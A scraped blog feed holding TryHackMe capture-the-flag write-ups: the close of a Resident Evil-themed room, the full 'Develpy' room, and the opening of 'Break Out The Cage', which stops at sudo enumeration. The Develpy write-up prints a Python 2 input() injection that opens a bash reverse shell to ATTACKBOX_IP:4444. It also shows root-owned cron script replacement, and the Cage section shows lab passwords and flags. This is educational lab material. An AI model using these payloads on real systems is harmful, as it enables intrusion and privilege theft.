drwx------  5 weasker weasker 4096 Sep 19  2019 .mozilla
-rw-r--r--  1 weasker weasker  807 Sep 18  2019 .profile
drwx------  2 weasker weasker 4096 Sep 19  2019 .ssh
-rw-r--r--  1 weasker weasker    0 Sep 20  2019 .sudo_as_admin_successful
-rw-r--r--  1 root    root     534 Sep 20  2019 weasker_note.txt
-rw-------  1 weasker weasker  109 Sep 20  2019 .Xauthority
-rw-------  1 weasker weasker 5548 Sep 20  2019 .xsession-errors
-rw-------  1 weasker weasker 6749 Sep 20  2019 .xsession-errors.old
umbrella_guest@umbrella_corp:/home/weasker$ cat weasker_note.txt
Weaker: Finally, you are here, Jill.
Jill: Weasker! stop it, You are destroying the  mankind.
Weasker: Destroying the mankind? How about creating a 'new' mankind. A world, only the strong can survive.
Jill: This is insane.
Weasker: Let me show you the ultimate lifeform, the Tyrant.

(Tyrant jump out and kill Weasker instantly)
(Jill able to stun the tyrant will a few powerful magnum round)

Alarm: Warning! warning! Self-detruct sequence has been activated. All personal, please evacuate immediately. (Repeat)
Jill: Poor bastard
</code></pre>
<h3>The root flag</h3>
<pre><code>ssh weasker@IP_Address

sudo -l
[sudo] password for weasker: 
Matching Defaults entries for weasker on umbrella_corp:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User weasker may run the following commands on umbrella_corp:
    (ALL : ALL) ALL
</code></pre>
<pre><code>weasker@umbrella_corp:~$ sudo su
root@umbrella_corp:/home/weasker# ls -la
total 80
drwxr-xr-x  9 weasker weasker 4096 Sep 20  2019 .
drwxr-xr-x  5 root    root    4096 Sep 20  2019 ..
-rw-------  1 weasker weasker   18 Sep 20  2019 .bash_history
-rw-r--r--  1 weasker weasker  220 Sep 18  2019 .bash_logout
-rw-r--r--  1 weasker weasker 3771 Sep 18  2019 .bashrc
drwxrwxr-x 10 weasker weasker 4096 Mar 28 08:21 .cache
drwxr-xr-x 11 weasker weasker 4096 Sep 20  2019 .config
drwxr-xr-x  2 weasker weasker 4096 Sep 19  2019 Desktop
drwx------  3 weasker weasker 4096 Sep 19  2019 .gnupg
-rw-------  1 weasker weasker  346 Sep 20  2019 .ICEauthority
drwxr-xr-x  3 weasker weasker 4096 Sep 19  2019 .local
drwx------  5 weasker weasker 4096 Sep 19  2019 .mozilla
-rw-r--r--  1 weasker weasker  807 Sep 18  2019 .profile
drwx------  2 weasker weasker 4096 Sep 19  2019 .ssh
-rw-r--r--  1 weasker weasker    0 Sep 20  2019 .sudo_as_admin_successful
-rw-r--r--  1 root    root     534 Sep 20  2019 weasker_note.txt
-rw-------  1 weasker weasker  109 Sep 20  2019 .Xauthority
-rw-------  1 weasker weasker 5548 Sep 20  2019 .xsession-errors
-rw-------  1 weasker weasker 6749 Sep 20  2019 .xsession-errors.old
root@umbrella_corp:/home/weasker# pwd
/home/weasker
root@umbrella_corp:/home/weasker# find / -type f -name root.txt 2&gt;/dev/null
/root/root.txt
root@umbrella_corp:/home/weasker# cat /root/root.txt
In the state of emergency, Jill, Barry and Chris are reaching the helipad and awaiting for the helicopter support.

Suddenly, the Tyrant jump out from nowhere. After a tough fight, brad, throw a rocket launcher on the helipad. Without thinking twice, Jill pick up the launcher and fire at the Tyrant.

The Tyrant shredded into pieces and the Mansion was blowed. The survivor able to escape with the helicopter and prepare for their next fight.

The End

flag: 3c5794a00dc56c35f2bf096571edf3bf
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Develpy (CTF Challenge - THM)]]></title><description><![CDATA[Introduction
Develpy is a beginner-friendly TryHackMe challenge that focuses on code injection 
and privilege escalation via cron job abuse. The attack surface starts with a 
custom Python 2 service r]]></description><link>https://www.sharonjebitok.com/develpy-ctf-challenge-thm</link><guid isPermaLink="true">https://www.sharonjebitok.com/develpy-ctf-challenge-thm</guid><category><![CDATA[CTF Writeup]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[Python]]></category><category><![CDATA[Privilege Escalation]]></category><category><![CDATA[Netcat]]></category><category><![CDATA[crontab]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Sat, 28 Mar 2026 20:02:07 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/3c23ea8c-0654-4192-a6ef-8a22ffd7c2b9.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Introduction</h2>
<p>Develpy is a beginner-friendly TryHackMe challenge that focuses on code injection 
and privilege escalation via cron job abuse. The attack surface starts with a 
custom Python 2 service running on port 10000 that exposes a dangerous use of 
<code>input()</code> — which in Python 2 implicitly calls <code>eval()</code> on user input, enabling 
remote code execution without any authentication. From there, privilege escalation 
is achieved by abusing a writable script that root executes every minute via cron.</p>
<h2>Develpy</h2>
<p>read user.txt and root.txt</p>
<h2>Answer the questions below</h2>
<h3>Reconnaisance &amp; Enumeration</h3>
<pre><code class="language-plaintext">nmap -sV -p- IP_Address

Not shown: 65533 closed ports
PORT      STATE SERVICE           VERSION
22/tcp    open  ssh               OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
10000/tcp open  snet-sensor-mgmt?
</code></pre>
<h3>user.txt</h3>
<ul>
<li>With the help of Claude, learned that we had to run this command <code>nc IP_Address 10000</code> and also start a netcat server at 4444 on another tab</li>
</ul>
<pre><code class="language-plaintext">nc IP_Address 10000

        Private 0days

 Please enther number of exploits to send??: __import__('os').system('bash -c "bash -i &gt; /dev/tcp/ATTACKBOX_IP/4444 0&gt;&amp;1"')
bash: cannot set terminal process group (772): Inappropriate ioctl for device
bash: no job control in this shell
</code></pre>
<ul>
<li>This way, we got our user flag.</li>
</ul>
<pre><code class="language-plaintext">nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on IP_Address 39286
id
uid=1000(king) gid=1000(king) groups=1000(king),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
whoami
king
ls -la
total 324
drwxr-xr-x 4 king king   4096 Aug 27  2019 .
drwxr-xr-x 3 root root   4096 Aug 25  2019 ..
-rw------- 1 root root   2929 Aug 27  2019 .bash_history
-rw-r--r-- 1 king king    220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 king king   3771 Aug 25  2019 .bashrc
drwx------ 2 king king   4096 Aug 25  2019 .cache
-rwxrwxrwx 1 king king 272113 Aug 27  2019 credentials.png
-rwxrwxrwx 1 king king    408 Aug 25  2019 exploit.py
drwxrwxr-x 2 king king   4096 Aug 25  2019 .nano
-rw-rw-r-- 1 king king      5 Mar 27 12:05 .pid
-rw-r--r-- 1 king king    655 Aug 25  2019 .profile
-rw-r--r-- 1 root root     32 Aug 25  2019 root.sh
-rw-rw-r-- 1 king king    139 Aug 25  2019 run.sh
-rw-r--r-- 1 king king      0 Aug 25  2019 .sudo_as_admin_successful
-rw-rw-r-- 1 king king     33 Aug 27  2019 user.txt
-rw-r--r-- 1 root root    183 Aug 25  2019 .wget-hsts
cat user.txt
cf85ff769cfaaa721758949bf870b019
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/372be71b-8a90-4e55-9030-cf6c6a3ada86.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/3180bc82-432f-4d67-b24d-e4e620dd3401.png" alt="" style="display:block;margin:0 auto" />

<h3>root.txt</h3>
<pre><code class="language-plaintext"># /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / &amp;&amp; run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.monthly )
*  *	* * *	king	cd /home/king/ &amp;&amp; bash run.sh
*  *	* * *	root	cd /home/king/ &amp;&amp; bash root.sh
*  *	* * *	root	cd /root/company &amp;&amp; bash run.sh
#
</code></pre>
<pre><code class="language-plaintext">cat run.sh
#!/bin/bash
kill cat /home/king/.pid
socat TCP-LISTEN:10000,reuseaddr,fork EXEC:./exploit.py,pty,stderr,echo=0 &amp;
echo $! &gt; /home/king/.pid
</code></pre>
<pre><code class="language-plaintext">crontab -l
strings credentials.png
IHDR
PLTE
tRNS
=Fc@
tEXtArtist
Mondrian\
tEXtCopyright
Mondrian
"gIDATx
</code></pre>
<p>entering date, then giving it some minute then go ahead and remove the <code>root.sh</code> file, then add to the script a line that will allow us to copy the root.txt from the root user to our current user king for us to access a copy of the root file that has the root flag</p>
<pre><code class="language-plaintext">date
Fri Mar 27 12:31:38 PDT 2026
id
uid=1000(king) gid=1000(king) groups=1000(king),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
ls -la
total 324
drwxr-xr-x 4 king king   4096 Aug 27  2019 .
drwxr-xr-x 3 root root   4096 Aug 25  2019 ..
-rw------- 1 root root   2929 Aug 27  2019 .bash_history
-rw-r--r-- 1 king king    220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 king king   3771 Aug 25  2019 .bashrc
drwx------ 2 king king   4096 Aug 25  2019 .cache
-rwxrwxrwx 1 king king 272113 Aug 27  2019 credentials.png
-rwxrwxrwx 1 king king    408 Aug 25  2019 exploit.py
drwxrwxr-x 2 king king   4096 Aug 25  2019 .nano
-rw-rw-r-- 1 king king      5 Mar 27 12:33 .pid
-rw-r--r-- 1 king king    655 Aug 25  2019 .profile
-rw-r--r-- 1 root root     32 Aug 25  2019 root.sh
-rw-rw-r-- 1 king king    183 Mar 27 12:22 run.sh
-rw-r--r-- 1 king king      0 Aug 25  2019 .sudo_as_admin_successful
-rw-rw-r-- 1 king king     33 Aug 27  2019 user.txt
-rw-r--r-- 1 root root    183 Aug 25  2019 .wget-hsts
rm root.sh
echo 'cp /root/root.txt /home/king/root.txt' &gt; root.sh
ls -la
total 328
drwxr-xr-x 4 king king   4096 Mar 27 12:35 .
drwxr-xr-x 3 root root   4096 Aug 25  2019 ..
-rw------- 1 root root   2929 Aug 27  2019 .bash_history
-rw-r--r-- 1 king king    220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 king king   3771 Aug 25  2019 .bashrc
drwx------ 2 king king   4096 Aug 25  2019 .cache
-rwxrwxrwx 1 king king 272113 Aug 27  2019 credentials.png
-rwxrwxrwx 1 king king    408 Aug 25  2019 exploit.py
drwxrwxr-x 2 king king   4096 Aug 25  2019 .nano
-rw-rw-r-- 1 king king      5 Mar 27 12:37 .pid
-rw-r--r-- 1 king king    655 Aug 25  2019 .profile
-rw-rw-r-- 1 king king     38 Mar 27 12:34 root.sh
-rw-r--r-- 1 root root     33 Mar 27 12:37 root.txt
-rw-rw-r-- 1 king king    183 Mar 27 12:22 run.sh
-rw-r--r-- 1 king king      0 Aug 25  2019 .sudo_as_admin_successful
-rw-rw-r-- 1 king king     33 Aug 27  2019 user.txt
-rw-r--r-- 1 root root    183 Aug 25  2019 .wget-hsts
cat root.txt 
9c37646777a53910a347f387dce025ec
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/6a1af213-3fed-4b40-bc45-ba2a06189952.png" alt="" style="display:block;margin:0 auto" />


<h2>Conclusion</h2>
<p>This challenge reinforced two important concepts:</p>
<ul>
<li><p><strong>Python 2 <code>input()</code> is <code>eval()</code></strong> — unlike Python 3, Python 2's <code>input()</code> 
evaluates whatever the user sends as Python code before processing it. This makes 
it trivially exploitable for RCE (CWE-78). Always check the Python version when 
auditing input handling.</p>
</li>
<li><p><strong>Cron job privilege escalation</strong> — when a high-privilege user (root) executes 
a script that a lower-privileged user can write to or replace, it creates a 
reliable privesc path. Enumerating <code>/etc/crontab</code> and checking file permissions 
on scripts referenced there should be a standard step in any post-exploitation 
checklist.</p>
</li>
</ul>
<p>The root flag was obtained by replacing <code>root.sh</code> with a script that copied 
<code>/root/root.txt</code> to king's home directory, then waiting for the cron job to 
execute it as root.</p>
]]></content:encoded></item><item><title><![CDATA[Break Out The Cage (CTF Challenge - THM)]]></title><description><![CDATA[INTRO
In this TryHackMe room, Break Out The Cage, we step into a Nicolas Cage-themed CTF that layers enumeration, classical cryptography, and privilege escalation into a full attack chain. The challen]]></description><link>https://www.sharonjebitok.com/break-out-the-cage-ctf-challenge-thm</link><guid isPermaLink="true">https://www.sharonjebitok.com/break-out-the-cage-ctf-challenge-thm</guid><category><![CDATA[Cryptography]]></category><category><![CDATA[Vigenère cipher ]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[Privilege Escalation]]></category><category><![CDATA[ftp]]></category><category><![CDATA[ssh]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Sat, 28 Mar 2026 19:42:59 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/e2c28bb3-2b7b-458c-9a8b-7435504f6c18.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>INTRO</strong></p>
<p>In this TryHackMe room, <em>Break Out The Cage</em>, we step into a Nicolas Cage-themed CTF that layers enumeration, classical cryptography, and privilege escalation into a full attack chain. The challenge begins with a fan site for the actor himself and ends with root access — uncovering a conspiracy between his agent and a shadowy actors' guild along the way.</p>
<p>The room covers reconnaissance across three services (HTTP, FTP, SSH), extracting and decoding a Vigenère-encrypted message from FTP, brute-forcing SSH credentials using a custom wordlist, and exploiting a cron job running a Python script vulnerable to command injection via <code>os.system()</code>. Privilege escalation to root is achieved by decoding a second Vigenère cipher found in cage's email backup.</p>
<h2>Investigate!</h2>
<p>Let's find out what his agent is up to....</p>
<h2>Answer the questions below</h2>
<h3>Reconnaisance &amp; Enumeration</h3>
<pre><code class="language-plaintext">nmap -p- -sV IP_Address

21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
</code></pre>
<pre><code class="language-plaintext">curl http://IP_Address
&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
&lt;html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"&gt;
&lt;head&gt;
	&lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8"/&gt;
	&lt;title&gt;Nicholas Cage Stories&lt;/title&gt;
	&lt;link rel="stylesheet" href="style.css" type="text/css" charset="utf-8" /&gt;
&lt;/head&gt;

&lt;body&gt;
&lt;div id="wrapper"&gt;
	&lt;div id="body"&gt;
		&lt;div id="body-top"&gt;
			&lt;div id="body-bot"&gt;
				&lt;div id="header"&gt;
					&lt;img src="images/rage_cage.png" width="332" height="453" alt="Pic 1" id="person" /&gt;
					&lt;h1&gt;&lt;img src="images/logo.gif" width="259" height="107" alt="My Diary" /&gt;&lt;/h1&gt;
					 &lt;div id="about"&gt;
					  &lt;p&gt;&lt;span class="first-letter"&gt;T&lt;/span&gt;his is my personal website I host from my home in, well wouldn't YOU LIKE TO KNOW?!?.&lt;/p&gt;
	  	     	&lt;p&gt;My son Weston set it up for my, the boy's always been good with technology since I paid for an MIT dropout to teach him..&lt;/p&gt;
			    	&lt;p&gt;I post from time to time on here about how lifes going, ya know the ups the downs the mess me arounds. But hey! I'm the Cage?
							am I right? huh!?&lt;/p&gt;
				    &lt;p&gt;My agent is currently on holiday in Hawaii so not taking calls on up coming films and book signings&lt;/p&gt;
					 &lt;/div&gt;

					&lt;div class="clear"&gt;&lt;/div&gt;
					&lt;ul&gt;
						&lt;li&gt;&lt;a href="#"&gt;Home&lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href="#"&gt;About me&lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href="#"&gt;Passion&lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href="#"&gt;Hobbies&lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href="#"&gt;Profession&lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href="#"&gt;Collection&lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href="#"&gt;Contact&lt;/a&gt;&lt;/li&gt;
					&lt;/ul&gt;
				&lt;/div&gt;
				&lt;div id="tray"&gt;
					&lt;div id="tray-left"&gt;
						&lt;h2&gt;&lt;img src="images/h_hobbies.gif" width="70" height="20" alt="H Hobbies" /&gt;&lt;/h2&gt;
						&lt;img src="images/pic_2.jpg" width="65" height="87" alt="Pic 2" class="left" /&gt;
						&lt;p&gt;Avid comic book fan, previous owner of a pet octopus.&lt;/p&gt;
			    	&lt;p&gt;I also do films in my spare time&lt;/p&gt;
					&lt;/div&gt;
					&lt;div id="tray-right"&gt;
						&lt;h2&gt;&lt;img src="images/h_collections.gif" width="90" height="20" alt="H Collections" /&gt;&lt;/h2&gt;
						&lt;img src="images/pic_3.jpg" width="299" height="87" alt="Pic 3" /&gt;
					&lt;/div&gt;
					&lt;div class="clear"&gt;&lt;/div&gt;
				&lt;/div&gt;
				&lt;div id="footer"&gt;
					&lt;div id="footer-right"&gt;
						&lt;i&gt;"I think I jump around more when I'm alone" - Nicholas Cage&lt;/i&gt;
					&lt;/div&gt;
				&lt;/div&gt;
			&lt;/div&gt;
		&lt;/div&gt;
	&lt;/div&gt;
&lt;/div&gt;


&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<pre><code class="language-plaintext">gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
/.html                (Status: 403) [Size: 278]
/.hta.html            (Status: 403) [Size: 278]
/.htaccess.html       (Status: 403) [Size: 278]
/.htaccess.txt        (Status: 403) [Size: 278]
/.hta.txt             (Status: 403) [Size: 278]
/.hta.php             (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/.htaccess.php        (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd.php        (Status: 403) [Size: 278]
/.htpasswd.txt        (Status: 403) [Size: 278]
/.htpasswd.html       (Status: 403) [Size: 278]
/contracts            (Status: 301) [Size: 318] [--&gt; http://IP_Address/contracts/]
/html                 (Status: 301) [Size: 313] [--&gt; http://IP_Address/html/]
/images               (Status: 301) [Size: 315] [--&gt; http://IP_Address/images/]
/index.html           (Status: 200) [Size: 2453]
/index.html           (Status: 200) [Size: 2453]
/scripts              (Status: 301) [Size: 316] [--&gt; http://IP_Address/scripts/]
/server-status        (Status: 403) [Size: 278]
</code></pre>
<pre><code class="language-plaintext">curl -s http://IP_Address/scripts/
&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"&gt;
&lt;html&gt;
 &lt;head&gt;
  &lt;title&gt;Index of /scripts&lt;/title&gt;
 &lt;/head&gt;
 &lt;body&gt;
&lt;h1&gt;Index of /scripts&lt;/h1&gt;
  &lt;table&gt;
   &lt;tr&gt;&lt;th valign="top"&gt;&lt;img src="/icons/blank.gif" alt="[ICO]"&gt;&lt;/th&gt;&lt;th&gt;&lt;a href="?C=N;O=D"&gt;Name&lt;/a&gt;&lt;/th&gt;&lt;th&gt;&lt;a href="?C=M;O=A"&gt;Last modified&lt;/a&gt;&lt;/th&gt;&lt;th&gt;&lt;a href="?C=S;O=A"&gt;Size&lt;/a&gt;&lt;/th&gt;&lt;th&gt;&lt;a href="?C=D;O=A"&gt;Description&lt;/a&gt;&lt;/th&gt;&lt;/tr&gt;
   &lt;tr&gt;&lt;th colspan="5"&gt;&lt;hr&gt;&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/back.gif" alt="[PARENTDIR]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="/"&gt;Parent Directory&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td align="right"&gt;  - &lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[   ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="CowardlyGoblin"&gt;CowardlyGoblin&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2020-05-18 17:55  &lt;/td&gt;&lt;td align="right"&gt;7.4K&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[   ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="ForgetfulThug"&gt;ForgetfulThug&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2020-05-18 17:55  &lt;/td&gt;&lt;td align="right"&gt;7.2K&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[   ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="MeanLion"&gt;MeanLion&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2020-05-18 17:55  &lt;/td&gt;&lt;td align="right"&gt;7.4K&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[   ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="SelfishGhost"&gt;SelfishGhost&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2020-05-18 17:55  &lt;/td&gt;&lt;td align="right"&gt;7.0K&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[   ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="TactlessTiger"&gt;TactlessTiger&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2020-05-18 17:55  &lt;/td&gt;&lt;td align="right"&gt;7.0K&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
   &lt;tr&gt;&lt;th colspan="5"&gt;&lt;hr&gt;&lt;/th&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;address&gt;Apache/2.4.29 (Ubuntu) Server at IP_Address Port 80&lt;/address&gt;
&lt;/body&gt;&lt;/html&gt;
root@ip-10-130-110-224:~# curl -s http://IP_Address/html/
&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"&gt;
&lt;html&gt;
 &lt;head&gt;
  &lt;title&gt;Index of /html&lt;/title&gt;
 &lt;/head&gt;
 &lt;body&gt;
&lt;h1&gt;Index of /html&lt;/h1&gt;
  &lt;table&gt;
   &lt;tr&gt;&lt;th valign="top"&gt;&lt;img src="/icons/blank.gif" alt="[ICO]"&gt;&lt;/th&gt;&lt;th&gt;&lt;a href="?C=N;O=D"&gt;Name&lt;/a&gt;&lt;/th&gt;&lt;th&gt;&lt;a href="?C=M;O=A"&gt;Last modified&lt;/a&gt;&lt;/th&gt;&lt;th&gt;&lt;a href="?C=S;O=A"&gt;Size&lt;/a&gt;&lt;/th&gt;&lt;th&gt;&lt;a href="?C=D;O=A"&gt;Description&lt;/a&gt;&lt;/th&gt;&lt;/tr&gt;
   &lt;tr&gt;&lt;th colspan="5"&gt;&lt;hr&gt;&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/back.gif" alt="[PARENTDIR]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="/"&gt;Parent Directory&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td align="right"&gt;  - &lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
   &lt;tr&gt;&lt;th colspan="5"&gt;&lt;hr&gt;&lt;/th&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;address&gt;Apache/2.4.29 (Ubuntu) Server at IP_Address Port 80&lt;/address&gt;
&lt;/body&gt;&lt;/html&gt;
</code></pre>
<pre><code class="language-plaintext">curl -s http://IP_Address/scripts/CowardlyGoblin | head -20
Cowardly Goblin
A Screenplay by Mr Pseudonym
EXT. A GREASY DINER - AFTERNOON

Virtuous nurse MADAME KIMBERLY GOBBLE is arguing with virtuous private detective DI MOLLY SNOZCUMBER. KIMBERLY tries to hug MOLLY but she shakes her off.

KIMBERLY
Please Molly, don't leave me.
MOLLY
I'm sorry Kimberly, but I'm looking for somebody a bit more brave. Somebody who faces her fears head on, instead of running away.
KIMBERLY
I am such a person!
MOLLY frowns.

MOLLY
I'm sorry, Kimberly. I just don't feel excited by this relationship anymore.
MOLLY leaves.

KIMBERLY sits down, looking defeated.
</code></pre>
<pre><code class="language-plaintext">for f in CowardlyGoblin ForgetfulThug MeanLion SelfishGhost TactlessTiger; do
&gt;   curl -s http://IP_Address/scripts/$f
&gt; done | tr ' ' '\n' | tr '[:upper:]' '[:lower:]' | sort -u &gt; wordlist.txt

wc -l wordlist.txt
817 wordlist.txt
</code></pre>
<p>Looked through the different poems or quotes that were titled differently (it's bit long couldn't attach here) but it was all helpful in trying to find any helpful information that might help us in hunting the password and the flags.</p>
<h3>What is Weston's password?</h3>
<pre><code class="language-shell">ftp IP_Address

ls -la

get dad_tasks
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/460bca20-063c-479c-9615-0dfd1b4c5279.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">UWFwdyBFZWtjbCAtIFB2ciBSTUtQLi4uWFpXIFZXVVIuLi4gVFRJIFhFRi4uLiBMQUEgWlJHUVJPISEhIQpTZncuIEtham5tYiB4c2kgb3d1b3dnZQpGYXouIFRtbCBma2ZyIHFnc2VpayBhZyBvcWVpYngKRWxqd3guIFhpbCBicWkgYWlrbGJ5d3FlClJzZnYuIFp3ZWwgdnZtIGltZWwgc3VtZWJ0IGxxd2RzZmsKWWVqci4gVHFlbmwgVnN3IHN2bnQgInVycXNqZXRwd2JuIGVpbnlqYW11IiB3Zi4KCkl6IGdsd3cgQSB5a2Z0ZWYuLi4uIFFqaHN2Ym91dW9leGNtdndrd3dhdGZsbHh1Z2hoYmJjbXlkaXp3bGtic2lkaXVzY3ds

Qapw Eekcl - Pvr RMKP...XZW VWUR... TTI XEF... LAA ZRGQRO!!!!
Sfw. Kajnmb xsi owuowge
Faz. Tml fkfr qgseik ag oqeibx
Eljwx. Xil bqi aiklbywqe
Rsfv. Zwel vvm imel sumebt lqwdsfk
Yejr. Tqenl Vsw svnt "urqsjetpwbn einyjamu" wf.
Iz glww A ykftef.... Qjhsvbouuoexcmvwkwwatfllxughhbbcmydizwlkbsidiuscwl
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/bb627a19-4ef5-42bc-adff-2218e62caae8.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>used to <a href="http://dcode.fr">dcode.fr</a> to decode the vigenere cipher that was extracted from ftp</li>
</ul>
<pre><code class="language-plaintext">Dads Tasks - The RAGE...THE CAGE... THE MAN... THE LEGEND!!!!
One. Revamp the website
Two. Put more quotes in script
Three. Buy bee pesticide
Four. Help him with acting lessons
Five. Teach Dad what "information security" is.

In case I forget.... Mydadisghostrideraintthatcoolnocausehesonfirejokes
</code></pre>
<h3>What's the user flag?</h3>
<p><code>ssh weston@IP_Address</code></p>
<p><code>weston:Mydadisghostrideraintthatcoolnocausehesonfirejokes</code></p>
<pre><code class="language-plaintext">ls -la
total 16
drwxr-xr-x 4 weston weston 4096 May 26  2020 .
drwxr-xr-x 4 root   root   4096 May 26  2020 ..
lrwxrwxrwx 1 weston weston    9 May 26  2020 .bash_history -&gt; /dev/null
drwx------ 2 weston weston 4096 May 26  2020 .cache
drwx------ 3 weston weston 4096 May 26  2020 .gnupg
                                                                               
Broadcast message from cage@national-treasure (somewhere) (Fri Mar 27 13:33:01 
                                                                               
l guess they don't call you the Executioner for nothing! And you sign my kid's autograph! \u2014 Snake Eyes
                                                                               
find /-type f -name user.txt 2&gt;/dev/null
weston@national-treasure:~$ find / -type f -name user.txt 2&gt;/dev/null
weston@national-treasure:~$ ls /home
cage  weston
                                                                               
Broadcast message from cage@national-treasure (somewhere) (Fri Mar 27 13:36:01 
                                                                               
Honey? Uh... You wanna know who really killed JFK? \u2014 The Rock
</code></pre>
<ul>
<li>tried to run <code>sudo -l</code> and found <code>/usr/bin/bees</code>, checked on gtfobins but this wasn't helpful</li>
</ul>
<pre><code class="language-plaintext">sudo -l
[sudo] password for weston: 

Sorry, try again.
[sudo] password for weston: 
Sorry, try again.
[sudo] password for weston: 
Matching Defaults entries for weston on national-treasure:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User weston may run the following commands on national-treasure:
    (root) /usr/bin/bees
                                                                               
